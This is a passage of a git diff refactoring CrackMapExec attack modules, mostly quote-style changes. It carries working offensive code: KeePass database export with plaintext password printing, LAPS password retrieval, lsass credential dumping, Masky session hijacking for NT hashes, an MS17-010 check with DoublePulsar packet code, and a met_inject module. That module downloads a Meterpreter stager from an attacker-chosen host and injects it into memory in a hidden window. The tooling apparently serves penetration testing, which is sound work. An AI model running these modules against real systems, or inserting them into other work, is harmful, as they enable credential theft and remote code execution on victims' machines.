self.export_name.split(".")[1] else: - local_full_path = self.local_export_path + '/' + self.export_name + local_full_path = self.local_export_path + "/" + self.export_name # downloads the exported database with open(local_full_path, "wb") as f: f.write(buffer.getbuffer()) - remove_export_command_str = 'powershell.exe Remove-Item {}'.format(export_path) + remove_export_command_str = "powershell.exe Remove-Item {}".format(export_path) connection.execute(remove_export_command_str, True) context.log.success('Moved remote "{}" to local "{}"'.format(export_path, local_full_path)) found = True @@ -300,8 +292,8 @@ class CMEModule: def clean(self, context, connection): """Checks for database export + malicious trigger on the remote host, removes everything""" # if the specified path is %APPDATA%, we need to check in every user's folder - if self.export_path == '%APPDATA%' or self.export_path == '%appdata%': - poll_export_command_str = 'powershell.exe "Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output (\'C:\\Users\\\'+$_.Name+\'\\AppData\\Roaming\\{}\')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}"'.format(self.export_name) + if self.export_path == "%APPDATA%" or self.export_path == "%appdata%": + poll_export_command_str = "powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\"".format(self.export_name) else: export_full_path = f"'{self.export_path}\\{self.export_name}'" poll_export_command_str = 'powershell.exe "if (Test-Path {} -PathType leaf){{ Write-Output {} }}"'.format(export_full_path, export_full_path) @@ -310,7 +302,7 @@ class CMEModule: # deletes every export found on the remote machine if self.export_name in poll_export_command_output: # in case multiple exports found (may happen if several users exported the database to their APPDATA) - for export_path in poll_export_command_output.split('\r\n'): + for export_path in poll_export_command_output.split("\r\n"): context.log.display(f"Database export found in '{export_path}', removing") remove_export_command_str = f"powershell.exe Remove-Item {export_path}" connection.execute(remove_export_command_str, True) @@ -319,24 +311,17 @@ class CMEModule: # if the malicious trigger was not self-deleted, deletes it if self.trigger_added(context, connection): - # prepare the trigger deletion script based on user-specified parameters (e.g: trigger name, etc) # see data/keepass_trigger_module/RemoveKeePassTrigger.ps1 - self.remove_trigger_script_str = self.remove_trigger_script_str.replace( - 'REPLACE_ME_KeePassXMLPath', - self.keepass_config_path - ) - self.remove_trigger_script_str = self.remove_trigger_script_str.replace( - 'REPLACE_ME_TriggerName', - self.trigger_name - ) + self.remove_trigger_script_str = self.remove_trigger_script_str.replace("REPLACE_ME_KeePassXMLPath", self.keepass_config_path) + self.remove_trigger_script_str = self.remove_trigger_script_str.replace("REPLACE_ME_TriggerName", self.trigger_name) # actually performs trigger deletion - if self.powershell_exec_method == 'ENCODE': - remove_trigger_script_b64 = b64encode(self.remove_trigger_script_str.encode('UTF-16LE')).decode('utf-8') + if self.powershell_exec_method == "ENCODE": + remove_trigger_script_b64 = b64encode(self.remove_trigger_script_str.encode("UTF-16LE")).decode("utf-8") remove_trigger_script_command_str = f"powershell.exe -e {remove_trigger_script_b64}" connection.execute(remove_trigger_script_command_str, True) - elif self.powershell_exec_method == 'PS1': + elif self.powershell_exec_method == "PS1": try: self.put_file_execute_delete(context, connection, self.remove_trigger_script_str) except Exception as e: @@ -397,39 +382,37 @@ class CMEModule: """Helper to upload script to a temporary folder, run then deletes it""" script_str_io = StringIO(psh_script_str) connection.conn.putFile(self.share, self.remote_temp_script_path.split(":")[1], script_str_io.read) - script_execute_cmd = 'powershell.exe -ep Bypass -F {}'.format(self.remote_temp_script_path) + script_execute_cmd = "powershell.exe -ep Bypass -F {}".format(self.remote_temp_script_path) connection.execute(script_execute_cmd, True) - remove_remote_temp_script_cmd = 'powershell.exe "Remove-Item \"{}\""'.format(self.remote_temp_script_path) + remove_remote_temp_script_cmd = 'powershell.exe "Remove-Item "{}""'.format(self.remote_temp_script_path) connection.execute(remove_remote_temp_script_cmd) def extract_password(self, context): xml_doc_path = os.path.abspath(self.local_export_path + "/" + self.export_name) xml_tree = ElementTree.parse(xml_doc_path) root = xml_tree.getroot() - to_string = ElementTree.tostring(root, encoding='UTF-8', method='xml') + to_string = ElementTree.tostring(root, encoding="UTF-8", method="xml") xml_to_dict = parse(to_string) dump = json.dumps(xml_to_dict) obj = json.loads(dump) - if len(obj['KeePassFile']['Root']['Group']['Entry']): - for obj2 in obj['KeePassFile']['Root']['Group']['Entry']: - for password in obj2['String']: - if password['Key'] == "Password": - context.log.highlight(str(password['Key']) + " : " + str(password['Value']['#text'])) + if len(obj["KeePassFile"]["Root"]["Group"]["Entry"]): + for obj2 in obj["KeePassFile"]["Root"]["Group"]["Entry"]: + for password in obj2["String"]: + if password["Key"] == "Password": + context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"])) else: - context.log.highlight(str(password['Key']) + " : " + str(password['Value'])) + context.log.highlight(str(password["Key"]) + " : " + str(password["Value"])) context.log.highlight("") - if len(obj['KeePassFile']['Root']['Group']['Group']): - for obj2 in obj['KeePassFile']['Root']['Group']['Group']: + if len(obj["KeePassFile"]["Root"]["Group"]["Group"]): + for obj2 in obj["KeePassFile"]["Root"]["Group"]["Group"]: try: - for obj3 in obj2['Entry']: - for password in obj3['String']: - if password['Key'] == "Password": - context.log.highlight(str(password['Key']) + " : " + str(password['Value']['#text'])) + for obj3 in obj2["Entry"]: + for password in obj3["String"]: + if password["Key"] == "Password": + context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"])) else: - context.log.highlight(str(password['Key']) + " : " + str(password['Value'])) + context.log.highlight(str(password["Key"]) + " : " + str(password["Value"])) context.log.highlight("") except KeyError: pass - - diff --git a/cme/modules/laps.py b/cme/modules/laps.py index 7b15a041..4329f771 100644 --- a/cme/modules/laps.py +++ b/cme/modules/laps.py @@ -1,64 +1,69 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- +import json from impacket.ldap import ldapasn1 as ldapasn1_impacket class CMEModule: """ - Module by technobro refactored by @mpgn (now compatible with LDAP protocol + filter by computer) + Module by technobro refactored by @mpgn (now compatible with LDAP protocol + filter by computer) - Initial module: - @T3KX: https://github.com/T3KX/Crackmapexec-LAPS + Initial module: + @T3KX: https://github.com/T3KX/Crackmapexec-LAPS - Credit: @mpgn_x64, @n00py1 + Credit: @mpgn_x64, @n00py1 """ - name = 'laps' - description = 'Retrieves the LAPS passwords' - supported_protocols = ['ldap'] + name = "laps" + description = "Retrieves the LAPS passwords" + supported_protocols = ["ldap"] opsec_safe = True multiple_hosts = False def options(self, context, module_options): """ - COMPUTER Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: * + COMPUTER Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: * """ self.computer = None - if 'COMPUTER' in module_options: - self.computer = module_options['COMPUTER'] + if "COMPUTER" in module_options: + self.computer = module_options["COMPUTER"] def on_login(self, context, connection): - context.log.display('Getting LAPS Passwords') + context.log.display("Getting LAPS Passwords") if self.computer is not None: - searchFilter = '(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=' + self.computer + '))' + searchFilter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.computer + "))" else: - searchFilter = '(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*)))' - attributes = ['msLAPS-EncryptedPassword', 'msLAPS-Password', 'ms-MCS-AdmPwd', 'sAMAccountName'] + searchFilter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*)))" + attributes = [ + "msLAPS-EncryptedPassword", + "msLAPS-Password", + "ms-MCS-AdmPwd", + "sAMAccountName", + ] results = connection.search(searchFilter, attributes, 0) results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)] if len(results) != 0: laps_computers = [] for computer in results: - msMCSAdmPwd = '' - sAMAccountName = '' - values = {str(attr['type']).lower(): str(attr['vals'][0]) for attr in computer['attributes']} + msMCSAdmPwd = "" + sAMAccountName = "" + values = {str(attr["type"]).lower(): str(attr["vals"][0]) for attr in computer["attributes"]} if "mslaps-encryptedpassword" in values: - context.log.fail("LAPS password is encrypted and currently CrackMapExec doesn't support the decryption...") + context.log.fail("LAPS password is encrypted and currently CrackMapExec doesn't" " support the decryption...") return elif "mslaps-password" in values: - r = json.loads(values['mslaps-password']) - laps_computers.append((values['samaccountname'], r['n'], r['p'])) + r = json.loads(values["mslaps-password"]) + laps_computers.append((values["samaccountname"], r["n"], r["p"])) elif "ms-mcs-admpwd" in values: - laps_computers.append((values['samaccountname'], '', values['ms-mcs-admpwd'])) + laps_computers.append((values["samaccountname"], "", values["ms-mcs-admpwd"])) else: - context.log.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password") + context.log.fail("No result found with attribute ms-MCS-AdmPwd or" " msLAPS-Password") laps_computers = sorted(laps_computers, key=lambda x: x[0]) for sAMAccountName, user, msMCSAdmPwd in laps_computers: context.log.highlight("Computer: {:<20} User: {:<15} Password: {}".format(sAMAccountName, user, msMCSAdmPwd)) else: context.log.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password !") - diff --git a/cme/modules/ldap-checker.py b/cme/modules/ldap-checker.py index 7003db20..98ea6597 100644 --- a/cme/modules/ldap-checker.py +++ b/cme/modules/ldap-checker.py @@ -1,7 +1,6 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- - -import ldap3 +import socket import ssl import asyncio @@ -10,7 +9,9 @@ from msldap.commons.target import MSLDAPTarget from asyauth.common.constants import asyauthSecret from asyauth.common.credentials.ntlm import NTLMCredential +from asyauth.common.credentials.kerberos import KerberosCredential +from asysocks.unicomm.common.target import UniTarget, UniProto class CMEModule: """ @@ -19,11 +20,12 @@ class CMEModule: Module by LuemmelSec (@theluemmel), updated by @zblurx Original work thankfully taken from @zyn3rgy's Ldap Relay Scan project: https://github.com/zyn3rgy/LdapRelayScan """ - name = 'ldap-checker' - description = 'Checks whether LDAP signing and binding are required and / or enforced' - supported_protocols = ['ldap'] + + name = "ldap-checker" + description = "Checks whether LDAP signing and binding are required and / or enforced" + supported_protocols = ["ldap"] opsec_safe = True - multiple_hosts = True + multiple_hosts = True def options(self, context, module_options): """ @@ -32,83 +34,68 @@ class CMEModule: pass def on_login(self, context, connection): - - #Grab the variables from the CME connection to fill our variables - - inputUser = connection.domain + '\\' + connection.username - inputPassword = connection.password - if connection.password == '' and connection.nthash is not None: - context.log.debug("Using NT(LM) hash for authentication") - inputPassword = "aad3b435b51404eeaad3b435b51404ee:" + connection.nthash - dcTarget = connection.conn.getRemoteHost() - - #Conduct a bind to LDAPS and determine if channel - #binding is enforced based on the contents of potential - #errors returned. This can be determined unauthenticated, - #because the error indicating channel binding enforcement - #will be returned regardless of a successful LDAPS bind. - def run_ldaps_noEPA(inputUser, inputPassword, dcTarget): - try: - tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2) - ldapServer = ldap3.Server( - dcTarget, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls) - ldapConn = ldap3.Connection( - ldapServer, user=inputUser, password=inputPassword, authentication=ldap3.NTLM) - if not ldapConn.bind(): - if "data 80090346" in str(ldapConn.result): - return True #channel binding IS enforced - elif "data 52e" in str(ldapConn.result): - return False #channel binding not enforced - else: - context.log.fail("UNEXPECTED ERROR: " + str(ldapConn.result)) - else: - #LDAPS bind successful - return False #because channel binding is not enforced - exit() - except Exception as e: - context.log.fail("\n [!] "+ dcTarget+" -", str(e)) - context.log.fail(" * Ensure DNS is resolving properly, and that you can reach LDAPS on this host") - - #Conduct a bind to LDAPS with channel binding supported - #but intentionally miscalculated. In the case that and - #LDAPS bind has without channel binding supported has occured, - #you can determine whether the policy is set to "never" or - #if it's set to "when supported" based on the potential - #error recieved from the bind attempt. - async def run_ldaps_withEPA(inputUser, inputPassword, dcTarget): - target = MSLDAPTarget(ip=connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain) - stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT - secret = connection.password if not connection.nthash else connection.nthash - credential = NTLMCredential(secret=secret, username=connection.username, domain=connection.domain, stype=stype) + # Conduct a bind to LDAPS and determine if channel + # binding is enforced based on the contents of potential + # errors returned. This can be determined unauthenticated, + # because the error indicating channel binding enforcement + # will be returned regardless of a successful LDAPS bind. + async def run_ldaps_noEPA(target, credential): ldapsClientConn = MSLDAPClientConnection(target, credential) _, err = await ldapsClientConn.connect() if err is not None: - context.log.fail("ERROR while connecting to " + dcTarget + ": " + err) - #forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message - ldapsClientConn.cb_data = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err)) + exit() + _, err = await ldapsClientConn.bind() + if "data 80090346" in str(err): + return True # channel binding IS enforced + elif "data 52e" in str(err): + return False # channel binding not enforced + elif err is None: + # LDAPS bind successful + # because channel binding is not enforced + return False + + # Conduct a bind to LDAPS with channel binding supported + # but intentionally miscalculated. In the case that and + # LDAPS bind has without channel binding supported has occured, + # you can determine whether the policy is set to "never" or + # if it's set to "when supported" based on the potential + # error recieved from the bind attempt. + async def run_ldaps_withEPA(target, credential): + ldapsClientConn = MSLDAPClientConnection(target, credential) + _, err = await ldapsClientConn.connect() + if err is not None: + context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err)) + exit() + # forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message + ldapsClientConn.cb_data = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" _, err = await ldapsClientConn.bind() if "data 80090346" in str(err): return True elif "data 52e" in str(err): return False elif err is not None: - context.log.fail("ERROR while connecting to " + dcTarget + ": " + err) + context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err)) elif err is None: return False - - #Domain Controllers do not have a certificate setup for - #LDAPS on port 636 by default. If this has not been setup, - #the TLS handshake will hang and you will not be able to - #interact with LDAPS. The condition for the certificate - #existing as it should is either an error regarding - #the fact that the certificate is self-signed, or - #no error at all. Any other "successful" edge cases - #not yet accounted for. + # Domain Controllers do not have a certificate setup for + # LDAPS on port 636 by default. If this has not been setup, + # the TLS handshake will hang and you will not be able to + # interact with LDAPS. The condition for the certificate + # existing as it should is either an error regarding + # the fact that the certificate is self-signed, or + # no error at all. Any other "successful" edge cases + # not yet accounted for. def DoesLdapsCompleteHandshake(dcIp): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) - ssl_sock = ssl.wrap_socket(s,cert_reqs=ssl.CERT_OPTIONAL,suppress_ragged_eofs=False,do_handshake_on_connect=False) + ssl_sock = ssl.wrap_socket( + s, + cert_reqs=ssl.CERT_OPTIONAL, + suppress_ragged_eofs=False, + do_handshake_on_connect=False, + ) ssl_sock.connect((dcIp, 636)) try: ssl_sock.do_handshake() @@ -126,47 +113,76 @@ class CMEModule: ssl_sock.close() return False - - #Conduct and LDAP bind and determine if server signing - #requirements are enforced based on potential errors - #during the bind attempt. - def run_ldap(inputUser, inputPassword, dcTarget): - ldapServer = ldap3.Server( - dcTarget, use_ssl=False, port=389, get_info=ldap3.ALL) - ldapConn = ldap3.Connection( - ldapServer, user=inputUser, password=inputPassword, authentication=ldap3.NTLM) - if not ldapConn.bind(): - if "stronger" in str(ldapConn.result): - return True #because LDAP server signing requirements ARE enforced - elif "data 52e" or "data 532" in str(ldapConn.result): - context.log.debug("Not connected") - return - else: - context.log.debug("UNEXPECTED ERROR: " + str(ldapConn.result)) + # Conduct and LDAP bind and determine if server signing + # requirements are enforced based on potential errors + # during the bind attempt. + async def run_ldap(target, credential): + ldapsClientConn = MSLDAPClientConnection(target, credential) + _, err = await ldapsClientConn.connect() + if err is None: + _, err = await ldapsClientConn.bind() + if "stronger" in str(err): + return True # because LDAP server signing requirements ARE enforced + elif ("data 52e" or "data 532") in str(err): + context.log.fail("Not connected... exiting") + exit() + elif err is None: + return False else: - #LDAPS bind successful - return False #because LDAP server signing requirements are not enforced - exit() + context.log.fail(str(err)) - #Run trough all our code blocks to determine LDAP signing and channel binding settings. + # Run trough all our code blocks to determine LDAP signing and channel binding settings. + stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT + secret = connection.password if not connection.nthash else connection.nthash + if not connection.kerberos: + credential = NTLMCredential( + secret=secret, + username=connection.username, + domain=connection.domain, + stype=stype, + ) + else: + kerberos_target = UniTarget( + connection.hostname + '.' + connection.domain, + 88, + UniProto.CLIENT_TCP, + proxies=None, + dns=None, + dc_ip=connection.domain, + domain=connection.domain + ) + credential = KerberosCredential( + target=kerberos_target, + secret=secret, + username=connection.username, + domain=connection.domain, + stype=stype, + ) + + target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain) + ldapIsProtected = asyncio.run(run_ldap(target, credential)) - ldapIsProtected = run_ldap(inputUser, inputPassword, dcTarget) - if ldapIsProtected == False: context.log.highlight("LDAP Signing NOT Enforced!") elif ldapIsProtected == True: context.log.fail("LDAP Signing IS Enforced") - if DoesLdapsCompleteHandshake(dcTarget) == True: - ldapsChannelBindingAlwaysCheck = run_ldaps_noEPA(inputUser, inputPassword, dcTarget) - ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(inputUser, inputPassword, dcTarget)) + else: + context.log.fail("Connection fail, exiting now") + exit() + + if DoesLdapsCompleteHandshake(connection.domain) == True: + target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain) + ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential)) + target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain) + ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential)) if ldapsChannelBindingAlwaysCheck == False and ldapsChannelBindingWhenSupportedCheck == True: - context.log.highlight('LDAPS Channel Binding is set to \"When Supported\"') + context.log.highlight('LDAPS Channel Binding is set to "When Supported"') elif ldapsChannelBindingAlwaysCheck == False and ldapsChannelBindingWhenSupportedCheck == False: - context.log.highlight('LDAPS Channel Binding is set to \"NEVER\"') + context.log.highlight('LDAPS Channel Binding is set to "NEVER"') elif ldapsChannelBindingAlwaysCheck == True: - context.log.fail('LDAPS Channel Binding is set to \"Required\"') + context.log.fail('LDAPS Channel Binding is set to "Required"') else: context.log.fail("\nSomething went wrong...") - exit() + exit() else: - context.log.fail(dcTarget + " - cannot complete TLS handshake, cert likely not configured") + context.log.fail(connection.domain + " - cannot complete TLS handshake, cert likely not configured") diff --git a/cme/modules/lsassy_dump.py b/cme/modules/lsassy_dump.py index 75146d08..4571f7a5 100644 --- a/cme/modules/lsassy_dump.py +++ b/cme/modules/lsassy_dump.py @@ -15,9 +15,9 @@ from cme.helpers.bloodhound import add_user_bh class CMEModule: - name = 'lsassy' + name = "lsassy" description = "Dump lsass and parse the result remotely with lsassy" - supported_protocols = ['smb'] + supported_protocols = ["smb"] opsec_safe = True # writes temporary files, and it's possible for them to not be deleted multiple_hosts = True @@ -30,9 +30,9 @@ class CMEModule: """ METHOD Method to use to dump lsass.exe with lsassy """ - self.method = 'comsvcs' - if 'METHOD' in module_options: - self.method = module_options['METHOD'] + self.method = "comsvcs" + if "METHOD" in module_options: + self.method = module_options["METHOD"] def on_admin_login(self, context, connection): host = connection.host @@ -51,7 +51,7 @@ class CMEModule: nthash=nthash, username=username, password=password, - domain=domain_name + domain=domain_name, ) if session.smb_session is None: @@ -101,8 +101,22 @@ class CMEModule: for cred in credentials: context.log.debug(f"Credential: {cred}") - if [cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]] not in credentials_unique: - credentials_unique.append([cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]]) + if [ + cred["domain"], + cred["username"], + cred["password"], + cred["lmhash"], + cred["nthash"], + ] not in credentials_unique: + credentials_unique.append( + [ + cred["domain"], + cred["username"], + cred["password"], + cred["lmhash"], + cred["nthash"], + ] + ) credentials_output.append(cred) context.log.debug(f"Calling process_credentials") @@ -117,15 +131,30 @@ class CMEModule: domain = cred["domain"] if "." not in cred["domain"] and cred["domain"].upper() in connection.domain.upper(): domain = connection.domain # slim shady - self.save_credentials(context, connection, cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]) - self.print_credentials(context, cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]) - credz_bh.append({'username': cred["username"].upper(), 'domain': domain.upper()}) + self.save_credentials( + context, + connection, + cred["domain"], + cred["username"], + cred["password"], + cred["lmhash"], + cred["nthash"], + ) + self.print_credentials( + context, + cred["domain"], + cred["username"], + cred["password"], + cred["lmhash"], + cred["nthash"], + ) + credz_bh.append({"username": cred["username"].upper(), "domain": domain.upper()}) add_user_bh(credz_bh, domain, context.log, connection.config) @staticmethod def print_credentials(context, domain, username, password, lmhash, nthash): if password is None: - password = ':'.join(h for h in [lmhash, nthash] if h is not None) + password = ":".join(h for h in [lmhash, nthash] if h is not None) output = "%s\\%s %s" % (domain, username, password) context.log.highlight(output) @@ -133,8 +162,8 @@ class CMEModule: def save_credentials(context, connection, domain, username, password, lmhash, nthash): host_id = context.db.get_hosts(connection.host)[0][0] if password is not None: - credential_type = 'plaintext' + credential_type = "plaintext" else: - credential_type = 'hash' - password = ':'.join(h for h in [lmhash, nthash] if h is not None) + credential_type = "hash" + password = ":".join(h for h in [lmhash, nthash] if h is not None) context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id) diff --git a/cme/modules/masky.py b/cme/modules/masky.py index 8c297100..c6d510b2 100644 --- a/cme/modules/masky.py +++ b/cme/modules/masky.py @@ -40,9 +40,7 @@ class CMEModule: def on_admin_login(self, context, connection): if not self.ca: - context.log.fail( - "Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)" - ) + context.log.fail("Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)") return False host = connection.host @@ -78,9 +76,7 @@ class CMEModule: if not tracker.nb_hijacked_users: context.log.display("No users' sessions were hijacked") else: - context.log.display( - f"{tracker.nb_hijacked_users} session(s) successfully hijacked" - ) + context.log.display(f"{tracker.nb_hijacked_users} session(s) successfully hijacked") context.log.display("Attempting to retrieve NT hash(es) via PKINIT") if not rslts: @@ -96,9 +92,7 @@ class CMEModule: if pwned_users: context.log.success(f"{pwned_users} NT hash(es) successfully collected") else: - context.log.fail( - "Unable to collect NT hash(es) from the hijacked session(s)" - ) + context.log.fail("Unable to collect NT hash(es) from the hijacked session(s)") return True def process_credentials(self, connection, context, user): @@ -121,17 +115,10 @@ class CMEModule: if not tracker.files_cleaning_success: context.log.fail("Fail to clean files related to Masky") - context.log.fail( - ( - f"Please remove the files named '{tracker.agent_filename}', '{tracker.error_filename}', " - f"'{tracker.output_filename}' & '{tracker.args_filename}' within the folder '\\Windows\\Temp\\'" - ) - ) + context.log.fail((f"Please remove the files named '{tracker.agent_filename}', '{tracker.error_filename}', " f"'{tracker.output_filename}' & '{tracker.args_filename}' within the folder '\\Windows\\Temp\\'")) ret = False if not tracker.svc_cleaning_success: - context.log.fail( - f"Fail to remove the service named '{tracker.svc_name}', please remove it manually" - ) + context.log.fail(f"Fail to remove the service named '{tracker.svc_name}', please remove it manually") ret = False return ret diff --git a/cme/modules/met_inject.py b/cme/modules/met_inject.py index 23b951c8..96c02b56 100644 --- a/cme/modules/met_inject.py +++ b/cme/modules/met_inject.py @@ -9,6 +9,7 @@ class CMEModule: Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script Module by @byt3bl33d3r """ + name = "met_inject" description = "Downloads the Meterpreter stager and injects it into memory" supported_protocols = ["smb", "mssql"] @@ -41,19 +42,19 @@ class CMEModule: after running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that """ - self.met_ssl = 'https' + self.met_ssl = "https" - if 'SRVHOST' not in module_options or 'SRVPORT' not in module_options: - context.log.fail('SRVHOST and SRVPORT options are required!') + if "SRVHOST" not in module_options or "SRVPORT" not in module_options: + context.log.fail("SRVHOST and SRVPORT options are required!") exit(1) - if 'SSL' in module_options: - self.met_ssl = module_options['SSL'] - if 'RAND' in module_options: - self.rand = module_options['RAND'] + if "SSL" in module_options: + self.met_ssl = module_options["SSL"] + if "RAND" in module_options: + self.rand = module_options["RAND"] - self.srvhost = module_options['SRVHOST'] - self.srvport = module_options['SRVPORT'] + self.srvhost = module_options["SRVHOST"] + self.srvport = module_options["SRVPORT"] def on_admin_login(self, context, connection): # stolen from https://github.com/jaredhaight/Invoke-MetasploitPayload @@ -69,10 +70,11 @@ class CMEModule: $ProcessInfo.CreateNoWindow = $True $ProcessInfo.WindowStyle = "Hidden" $Process = [System.Diagnostics.Process]::Start($ProcessInfo)""".format( - 'http' if self.met_ssl == 'http' else 'https', + "http" if self.met_ssl == "http" else "https", self.srvhost, self.srvport, - self.rand) + self.rand, + ) context.log.debug(command) connection.ps_execute(command, force_ps32=True) - context.log.success('Executed payload') + context.log.success("Executed payload") diff --git a/cme/modules/ms17-010.py b/cme/modules/ms17-010.py index b5c82c15..86728dd7 100644 --- a/cme/modules/ms17-010.py +++ b/cme/modules/ms17-010.py @@ -1,199 +1,181 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- -# All credits to https://github.com/d4t4s3c/Win7Blue +# All credits to https://github.com/d4t4s3c/Win7Blue # @d4t4s3c -# Module by @mpgn_x64 +# Module by @mpgn_x64 from ctypes import * import socket import struct -class CMEModule: - name = 'ms17-010' +class CMEModule: + name = "ms17-010" description = "MS17-010, /!\ not tested oustide home lab" - supported_protocols = ['smb'] + supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True def options(self, context, module_options): - """ - """ + """ """ def on_login(self, context, connection): if check(connection.host): context.log.highlight("VULNERABLE") context.log.highlight("Next step: https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/") + class SMB_HEADER(Structure): - """SMB Header decoder. - """ + """SMB Header decoder.""" - _pack_ = 1 + _pack_ = 1 - _fields_ = [ - ("server_component", c_uint32), - ("smb_command", c_uint8), - ("error_class", c_uint8), - ("reserved1", c_uint8), - ("error_code", c_uint16), - ("flags", c_uint8), - ("flags2", c_uint16), - ("process_id_high", c_uint16), - ("signature", c_uint64), - ("reserved2", c_uint16), - ("tree_id", c_uint16), - ("process_id", c_uint16), - ("user_id", c_uint16), - ("multiplex_id", c_uint16) - ] + _fields_ = [ + ("server_component", c_uint32), + ("smb_command", c_uint8), + ("error_class", c_uint8), + ("reserved1", c_uint8), + ("error_code", c_uint16), + ("flags", c_uint8), + ("flags2", c_uint16), + ("process_id_high", c_uint16), + ("signature", c_uint64), + ("reserved2", c_uint16), + ("tree_id", c_uint16), + ("process_id", c_uint16), + ("user_id", c_uint16), + ("multiplex_id", c_uint16), + ] + + def __new__(self, buffer=None): + return self.from_buffer_copy(buffer) - def __new__(self, buffer=None): - return self.from_buffer_copy(buffer) def generate_smb_proto_payload(*protos): - """Generate SMB Protocol. Pakcet protos in order. - """ + """Generate SMB Protocol. Pakcet protos in order.""" hexdata = [] for proto in protos: - hexdata.extend(proto) + hexdata.extend(proto) return "".join(hexdata) def calculate_doublepulsar_xor_key(s): - """Calaculate Doublepulsar Xor Key - """ - x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8))) - x = x & 0xffffffff + """Calaculate Doublepulsar Xor Key""" + x = 2 * s ^ (((s & 0xFF00 | (s << 16)) << 8) | (((s >> 16) | s & 0xFF0000) >> 8)) + x = x & 0xFFFFFFFF return x def negotiate_proto_request(): - """Generate a negotiate_proto_request packet. - """ - netbios = [ - '\x00', - '\x00\x00\x54' - ] + """Generate a negotiate_proto_request packet.""" + netbios = ["\x00", "\x00\x00\x54"] smb_header = [ - '\xFF\x53\x4D\x42', - '\x72', - '\x00\x00\x00\x00', - '\x18', - '\x01\x28', - '\x00\x00', - '\x00\x00\x00\x00\x00\x00\x00\x00', - '\x00\x00', - '\x00\x00', - '\x2F\x4B', - '\x00\x00', - '\xC5\x5E' + "\xFF\x53\x4D\x42", + "\x72", + "\x00\x00\x00\x00", + "\x18", + "\x01\x28", + "\x00\x00", + "\x00\x00\x00\x00\x00\x00\x00\x00", + "\x00\x00", + "\x00\x00", + "\x2F\x4B", + "\x00\x00", + "\xC5\x5E", ] negotiate_proto_request = [ - '\x00', - '\x31\x00', - - '\x02', - '\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00', - - '\x02', - '\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00', - - '\x02', - '\x4E\x54\x20\x4C\x41\x4E\x4D\x41\x4E\x20\x31\x2E\x30\x00', - - '\x02', - 